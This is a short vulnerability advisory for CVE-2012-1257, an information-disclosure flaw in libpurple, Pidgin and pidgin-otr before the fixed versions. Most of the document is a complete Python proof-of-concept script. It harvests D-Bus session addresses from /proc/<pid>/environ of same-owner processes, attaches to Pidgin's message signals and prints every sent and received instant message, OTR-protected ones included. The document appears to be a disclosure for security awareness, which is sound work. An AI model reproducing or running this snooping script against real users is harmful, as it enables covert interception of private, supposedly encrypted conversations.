source: http://www.securityfocus.com/bid/52175/info

libpurple is prone to an information-disclosure vulnerability.

Successful exploits may allow attackers to obtain potentially sensitive information that may aid in other attacks.

The following products are vulnerable:

libpurple versions prior to 2.10.1
pidgin versions prior to 2.10.1
pidgin-otr versions prior to 3.2.0 

#!/usr/bin/env python
# PoC for snooping on pidgin discussions (OTR/non-OTR) via dbus
# (see CVE-2012-1257)
#
# requires python-dbus and python-gobject
#
# based on sample code found here:
# http://developer.pidgin.im/wiki/DbusHowto
#
# Disclaimer: There's virtually no error handling here,
# so don't rely on this for any serious work.
#
# Author:
# Dimitris Glynos :: { dimitris at census dash labs dot com }

import dbus, gobject, os, sys
from dbus.mainloop.glib import DBusGMainLoop

# same owner processes get to snoop their respective DBUS credentials
# via /proc/<pid>/environ

def obtain_dbus_session_creds():
	all_pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
	env_tmpl = '/proc/%s/environ'
	session_creds = {}

	for pid in all_pids:
		if not (os.stat(env_tmpl % pid).st_uid == os.getuid()):
			continue
		if not os.access(env_tmpl % pid, os.R_OK):
			continue

		f = open(env_tmpl % pid, 'rb')
		contents = f.read()
		f.close()
		for var in contents.split('\0'):
			if var.startswith('DBUS_SESSION_BUS_ADDRESS='):
				val = var[var.index('=')+1:]
				if not session_creds.has_key(val):
					session_creds[val] = 1
	return session_creds

def recvs(account, contact, msg, conversation, flags):
	print "received '%s' from %s" % (msg, contact)

def sends(account, contact, msg, conversation, flags):
	if flags == 1:
		print "sent '%s' to %s" % (msg, contact)

if not os.environ.has_key('DBUS_SESSION_BUS_ADDRESS'):
	creds = obtain_dbus_session_creds()

	if len(creds.keys()) == 0:
		print >> sys.stderr, ( "error: no dbus session " +
			"credentials could be recovered." )
		sys.exit(1)

	if len(creds.keys()) > 1:
		print >> sys.stderr, ( "error: multiple dbus session " +
			"credentials found!\nPlease rerun with the proper "+
			"DBUS_SESSION_BUS_ADDRESS env variable\n" +
			"Here are the recovered credentials:\n")
		for k in creds.keys():
			print >> sys.stderr, "DBUS_SESSION_BUS_ADDRESS=%s" % k
		sys.exit(1)

	os.environ["DBUS_SESSION_BUS_ADDRESS"] = creds.keys()[0]

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SessionBus()

bus.add_signal_receiver(
	recvs,
	dbus_interface="im.pidgin.purple.PurpleInterface",
	signal_name="ReceivedImMsg"
)

bus.add_signal_receiver(
	sends,
	dbus_interface="im.pidgin.purple.PurpleInterface",
        signal_name="WroteImMsg"
)

mainloop = gobject.MainLoop()
mainloop.run()